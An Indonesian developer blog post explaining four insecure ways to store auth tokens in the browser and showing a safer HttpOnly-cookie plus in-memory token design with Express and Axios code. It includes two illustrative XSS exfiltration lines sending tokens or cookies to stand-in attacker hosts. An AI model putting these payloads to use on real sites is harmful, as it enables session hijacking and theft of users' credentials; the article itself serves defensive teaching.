Lompat ke konten utama
vourdev
Kembali ke Blog

Dev Notes

4 Cara Salah Nyimpen Token Auth di Frontend yang Rentan Kena XSS

Bedah tuntas kesalahan fatal menyimpan auth token di frontend, anatomi serangan XSS, dan panduan implementasi session aman berbasis HttpOnly Cookie.

Gambar Cover 4 Cara Salah Nyimpen Token Auth di Frontend yang Rentan Kena XSS
Ditulis olehvourdev11 menit baca

Pernahkah Anda mereview pull request (PR) fitur otentikasi dari engineer lain—atau mungkin kode Anda sendiri beberapa bulan lalu—dan menemukan potongan kode seperti ini?

typescript
const handleLogin = async (credentials: LoginCredentials) => {
  const response = await api.post('/auth/login', credentials);
  const { accessToken } = response.data;
  
  // Tampak bersih, bekerja mulus, tapi bahaya besar mengintai
  localStorage.setItem('access_token', accessToken);
};

Kode di atas bekerja dengan baik saat pengujian fungsional. User login, token tersimpan, halaman di-refresh, state user tetap ada, dan setiap request berikutnya tinggal mengambil token dari storage untuk ditempel ke header Authorization: Bearer <token>. Fitur selesai, tiket Jira ditutup, lalu deploy ke staging.

Namun, di balik kenyamanan implementasi tersebut, kita baru saja meletakkan kunci brankas rumah di bawah keset depan pintu yang bisa diambil oleh siapa saja yang berhasil menyusupkan satu baris JavaScript ke aplikasi kita.

Menyimpan token otentikasi (terutama JWT berumur panjang) di tempat yang salah adalah salah satu dosa arsitektur frontend paling umum. Artikel ini akan membedah empat pola salah yang sering dipakai, bagaimana celah Cross-Site Scripting (XSS) mengeksploitasinya, dan bagaimana arsitektur otentikasi berbasis browser yang aman seharusnya dibangun.

Perbedaan intersep token antara localStorage dan HttpOnly CookieAttacker XSSBrowser ContextAPI Server1. Eksekusi document.cookie / localStorage2. localStorage: Token bocor ke attacker3. HttpOnly: Cookie dikirim otomatis via hea…4. HttpOnly: JS tidak bisa membaca cookie
Perbedaan intersep token antara localStorage dan HttpOnly Cookie

Anatomi XSS: Kenapa Frontend Bukan Brankas

Visualisasi eksploitasi celah keamanan XSS pada aplikasi web
XSS mengeksekusi script berbahaya langsung di dalam konteks sesi browser user. · Cross-Site Scripting (XSS) — Batka savemazaalai (CC BY-SA 4.0)

Sebelum membahas pola-pola yang salah, kita perlu menyepakati satu premis fundamental dalam keamanan web: apapun yang bisa dibaca oleh JavaScript di browser, bisa dicuri saat terjadi XSS.

Cross-Site Scripting (XSS) terjadi ketika aplikasi merender input user yang tidak disanitasi, atau ketika dependency npm pihak ketiga yang Anda gunakan disusupi malicious code (supply chain attack). Begitu script penyerang berjalan di dalam context origin aplikasi Anda, script tersebut memiliki hak akses yang sama persis dengan kode internal Anda.

Penyerang tidak perlu menebak password atau meretas database. Cukup sebaris kode:

javascript
// Payload XSS klasik untuk mengekstrak data
fetch('https://attacker-c2.com/steal?token=' + encodeURIComponent(localStorage.getItem('access_token')));

Jika token sudah diekstraksi ke server penyerang, mereka bisa melakukan session hijacking tanpa peduli seberapa kuat password user atau apakah user mengaktifkan Two-Factor Authentication (2FA).

4 Cara Salah Menyimpan Token di Frontend

Berikut adalah empat pola umum penyimpanan token di frontend yang kerap dianggap aman, padahal memiliki risiko keamanan fatal.

1. localStorage dan sessionStorage (Anti-Pattern Klasik)

Ini adalah pendekatan paling populer di ribuan tutorial internet karena sangat mudah dibuat. Perbedaannya hanya pada persistensi: localStorage bertahan selamanya sampai dihapus manual, sedangkan sessionStorage hilang saat tab ditutup.

Secara keamanan, keduanya memiliki derajat kerentanan yang identik: bisa diakses oleh script JavaScript apapun yang berjalan di origin yang sama.

Karakteristik storage ini adalah synchronous API tanpa mekanisme permission scoping. Tidak ada flag proteksi, tidak ada enkripsi bawaan di level runtime JavaScript, dan tidak ada cara membatasi script mana yang boleh membaca datanya.

2. In-Memory State Global Tanpa Strategi Sinkronisasi yang Benar

Sebagian engineer menyadari bahaya localStorage lalu beralih menyimpan JWT murni di dalam memory: React Context, Redux store, Zustand, atau variabel modul global.

Secara teori, in-memory storage lebih aman dari XSS ekstraksi instan karena variabel tidak terdaftar di objek global window storage. Namun, pendekatan ini menimbulkan dua masalah baru:

  1. UX Rusak (State Loss): Saat user menekan tombol refresh (F5), seluruh state JavaScript ter-reset dan user otomatis logout.
  2. Solusi Tambal Sulam yang Mengembalikan Celah: Karena masalah nomor 1, developer sering kali menambahkan listener window.onbeforeunload untuk menyimpan token sementara ke sessionStorage, lalu mengambilnya kembali saat aplikasi boot. Hasilnya? Kita kembali ke titik nol: token tetap bisa dicuri lewat XSS.

3. Web Workers Tanpa Isolasi Total

Ada upaya arsitektur cerdas yang memindahkan penyimpanan token dan eksekusi request API ke dalam Web Worker terpisah. Idenya: Web Worker memiliki context eksekusi dan memory heap yang terisolasi dari main DOM thread, sehingga payload XSS di main thread tidak bisa langsung memanggil worker.token.

Namun, kelemahan fatalnya terletak pada mekanisme komunikasi postMessage.

Jika main thread terkena kompromi XSS, penyerang tidak perlu mencuri string tokennya secara langsung. Penyerang cukup membajak antarmuka postMessage untuk memerintahkan Web Worker melakukan request transfer dana atau penggantian email atas nama korban (Confused Deputy Problem). Kompleksitas kodenya melonjak tinggi tanpa memberikan jaminan keamanan yang sebanding.

4. Plain Cookie (Cookie Tanpa Atribut Keamanan)

Menggunakan cookie bukan jaminan aman jika cookie tersebut diset melalui JavaScript via document.cookie atau dari response header backend tanpa menyertakan atribut keamanan yang tepat.

http
Set-Cookie: access_token=eyJhbGciOi...; Path=/;

Cookie yang dikirim tanpa atribut HttpOnly dapat dibaca langsung oleh JavaScript via document.cookie. Penyerang cukup menjalankan new Image().src = 'https://evil.com/?c=' + document.cookie; untuk membobol akun korban.

Perbandingan metode penyimpanan token di browserlocalStorageAkses via JavaScript:YaRentan XSS: SangatTinggiRentan CSRF: RendahDukungan SSR: SulitIn-Memory StateAkses via JavaScript:YaRentan XSS:Menengah (Hilang rel…Rentan CSRF: TidakAdaDukungan SSR: ButuhRehidrasiHttpOnly CookieAkses via JavaScript:Tidak (Aman)Rentan XSS: Rendah(Immune to JS steal)Rentan CSRF: ButuhSameSite/TokenDukungan SSR: NativeSupport
Perbandingan metode penyimpanan token di browser

Solusi yang Benar: HttpOnly Cookie + Silent Refresh

Pengaturan atribut cookie HttpOnly pada browser devtools
Atribut HttpOnly mencegah script frontend mengakses nilai token secara langsung. · Vyshnavi Bisani (Unsplash)

Standar industri yang direkomendasikan untuk arsitektur modern (termasuk Next.js, Remix, maupun SPA React murni) adalah membagi tanggung jawab token menjadi dua komponen:

  1. Refresh Token: Disimpan di dalam HttpOnly, Secure, SameSite Cookie. Cookie ini tidak bisa dibaca oleh script JavaScript apapun di browser. Browser hanya bertugas melampirkannya secara otomatis saat request dikirim ke backend.
  2. Access Token: Disimpan secara murni In-Memory di runtime JavaScript dengan masa kedaluwarsa singkat (misalnya 5–15 menit).
Lapisan pertahanan auth session di arsitektur modernAuth LifecycleShort-lived Access Token & Refresh Token RotationApplication DefenseContent Security Policy (CSP) & Sanitasi DOMBrowser StorageHttpOnly + Secure + SameSite=Lax CookieTransport LayerHTTPS (TLS 1.3)
Lapisan pertahanan auth session di arsitektur modern

Mari kita bangun implementasi nyata dari pola ini menggunakan Node.js/Express di backend dan React (Axios) di frontend.

Langkah 1: Backend Setting Cookie & Rotasi Token

Di sisi server, kita harus memastikan response login menetapkan cookie dengan flag yang tepat.

typescript
// auth.controller.ts (Express / TypeScript)
import { Request, Response } from 'express';
import jwt from 'jsonwebtoken';

const REFRESH_TOKEN_SECRET = process.env.REFRESH_TOKEN_SECRET!;
const ACCESS_TOKEN_SECRET = process.env.ACCESS_TOKEN_SECRET!;

export const loginHandler = async (req: Request, res: Response) => {
  const { user } = req; // Anggap user sudah tervalidasi

  // 1. Generate short-lived access token (15 menit)
  const accessToken = jwt.sign({ sub: user.id, email: user.email }, ACCESS_TOKEN_SECRET, {
    expiresIn: '15m',
  });

  // 2. Generate long-lived refresh token (7 hari)
  const refreshToken = jwt.sign({ sub: user.id }, REFRESH_TOKEN_SECRET, {
    expiresIn: '7d',
  });

  // 3. Simpan refreshToken ke database / redis untuk memfasilitasi revokasi session

  // 4. Kirim refreshToken via HttpOnly Cookie yang terproteksi ketat
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true, // Mencegah akses dari document.cookie (kebal XSS)
    secure: process.env.NODE_ENV === 'production', // Wajib HTTPS di production
    sameSite: 'lax', // Melindungi dari sebagian besar serangan CSRF lintas domain
    path: '/api/v1/auth/refresh', // Batasi path agar cookie HANYA dikirim ke endpoint refresh
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 hari
  });

  // 5. Kembalikan accessToken via JSON response body
  return res.status(200).json({
    message: 'Login berhasil',
    accessToken,
    user: { id: user.id, email: user.email },
  });
};

Penjelasan Implementasi Backend:

  • httpOnly: true: Flag paling krusial. Script XSS tidak akan pernah bisa membaca isi cookie ini.
  • secure: true: Memastikan cookie hanya ditransmisikan lewat koneksi terenkripsi HTTPS, mencegah penyadapan Man-in-the-Middle (MitM).
  • sameSite: 'lax': Mencegah browser mengirimkan cookie ini pada request lintas domain yang berbahaya (mitigasi utama CSRF).
  • path: '/api/v1/auth/refresh': Membatasi pengiriman cookie hanya saat browser melakukan hit ke URL refresh token, bukan pada setiap request aset statis atau API publik lainnya.

Langkah 2: Frontend In-Memory State & Axios Interceptor

Di frontend, kita simpan accessToken di memory variabel, dan gunakan Axios Interceptor untuk menangani regenerasi token secara transparan (silent refresh) saat request API mengembalikan error 401 Unauthorized.

typescript
// apiClient.ts (React / TypeScript)
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios';

// Variable in-memory: hilang jika tab di-refresh, tapi kebal ekstraksi persistent storage
let memoryAccessToken: string | null = null;

export const setAccessToken = (token: string | null) => {
  memoryAccessToken = token;
};

export const getAccessToken = () => memoryAccessToken;

export const apiClient = axios.create({
  baseURL: 'https://api.vour.dev/api/v1',
  withCredentials: true, // WAJIB: Memastikan browser menyertakan cookie pada cross-origin request
});

// Request Interceptor: Tempelkan access token jika ada di memory
apiClient.interceptors.request.use((config: InternalAxiosRequestConfig) => {
  if (memoryAccessToken && config.headers) {
    config.headers.Authorization = `Bearer ${memoryAccessToken}`;
  }
  return config;
});

// Response Interceptor: Tangani 401 dan lakukan silent refresh otomatis
let refreshPromise: Promise<string> | null = null;

apiClient.interceptors.response.use(
  (response) => response,
  async (error: AxiosError) => {
    const originalRequest = error.config as InternalAxiosRequestConfig & { _retry?: boolean };

    // Jika 401 dan request belum pernah di-retry
    if (error.response?.status === 401 && !originalRequest._retry) {
      originalRequest._retry = true;

      try {
        // Mencegah multiple concurrent refresh calls dengan promise locking
        if (!refreshPromise) {
          refreshPromise = (async () => {
            const { data } = await axios.post<{ accessToken: string }>(
              'https://api.vour.dev/api/v1/auth/refresh',
              {},
              { withCredentials: true } // Cookie HttpOnly terkirim otomatis oleh browser
            );
            setAccessToken(data.accessToken);
            return data.accessToken;
          })().finally(() => {
            refreshPromise = null;
          });
        }

        const newAccessToken = await refreshPromise;

        // Update header request original yang sempat gagal lalu eksekusi ulang
        originalRequest.headers.Authorization = `Bearer ${newAccessToken}`;
        return apiClient(originalRequest);
      } catch (refreshError) {
        // Refresh token kedaluwarsa atau di-revoke: redirect ke halaman login
        setAccessToken(null);
        window.location.href = '/login';
        return Promise.reject(refreshError);
      }
    }

    return Promise.reject(error);
  }
);

Penjelasan Interceptor & Locking Mekanisme:

  • withCredentials: true: Menginstruksikan browser untuk membawa cookie (termasuk HttpOnly refreshToken) saat melakukan request cross-origin ke server backend.
  • refreshPromise: Teknik promise locking. Jika ada 5 request API paralel yang serentak gagal karena token kedaluwarsa, aplikasi tidak akan menembakkan 5 request refresh ke backend. Semua request yang pending akan menunggu satu refreshPromise yang sama terselesaikan.
  • originalRequest._retry: Flag penanda agar tidak terjadi infinite loop jika token baru tetap ditolak oleh backend.

Mengatasi Celah CSRF Saat Menggunakan Cookie

Banyak engineer beralih ke localStorage karena takut pada serangan Cross-Site Request Forgery (CSRF) yang menjadi risiko bawaan mekanisme cookie. Namun, menukar risiko CSRF dengan kepastian rentan XSS adalah keputusan arsitektur yang keliru.

CSRF jauh lebih mudah dimitigasi secara terukur:

  1. Konfigurasi `SameSite=Lax` atau `SameSite=Strict`: Pada browser modern, atribut ini memblokir pengiriman cookie otentikasi dari situs pihak ketiga yang mencurigakan secara default.
  2. Gunakan Pola Custom Header: API endpoint modern yang hanya menerima Content-Type: application/json atau memerlukan header khusus seperti X-Requested-With secara otomatis terlindungi dari form submission CSRF sederhana.
  3. Anti-CSRF Token (Synchronizer Token Pattern): Untuk aplikasi perbankan atau sistem finansial dengan standar keamanan tinggi, gunakan CSRF token ganda yang divalidasi pada setiap mutasi data (POST, PUT, DELETE).
Security Rule of Thumb: Menangani CSRF pada HttpOnly Cookie adalah persoalan konfigurasi header dan SameSite attribute yang benar. Sebaliknya, menambal XSS saat token tersimpan di localStorage adalah pertempuran tanpa akhir melawan setiap baris dependency JavaScript di aplikasi Anda.

Action Items: Audit Auth Frontend Anda Sekarang

Jika saat ini repositori Anda masih memuat localStorage.setItem('token', ...) di production, berikut adalah langkah mitigasi yang bisa Anda eksekusi mulai hari ini:

  1. Pindahkan Refresh Token ke HttpOnly Cookie: Ubah endpoint auth backend Anda untuk berhenti mengirimkan refresh token via JSON body. Set cookie dengan atribut HttpOnly, Secure, SameSite=Lax, dan batasi Path-nya.
  2. Karantina Access Token di In-Memory State: Buat token lifespannya singkat (maksimal 15 menit). Hilangkan semua akses baca-tulis storage browser lokal untuk token JWT.
  3. Pasang Silent Refresh Lifecycle: Implementasikan interceptor axios atau middleware fetch wrapper yang otomatis memulihkan sesi user saat aplikasi dimuat pertama kali (boot hydration).
  4. Perketat Content Security Policy (CSP): Tambahkan HTTP response header CSP untuk membatasi domain eksternal mana saja yang boleh mengeksekusi script atau menerima koneksi data dari browser Anda.

Keamanan frontend bukan tentang membuat aplikasi 100% mustahil diretas, melainkan mempersempit blast radius (dampak kerusakan) seminimal mungkin saat salah satu komponen sistem Anda mengalami kompromi. Mengunci token di luar jangkauan JavaScript adalah fondasi pertama yang wajib Anda bangun.

Butuh penyesuaian khusus untuk project Anda?

Jika situasi operasional atau arsitektur sistem bisnis Anda membutuhkan solusi kustom, diskusikan langsung bersama tim engineer kami. Anda juga bisa melihat rincian layanan vour.dev atau menghitung estimasi biaya project lebih dulu.

Mulai Project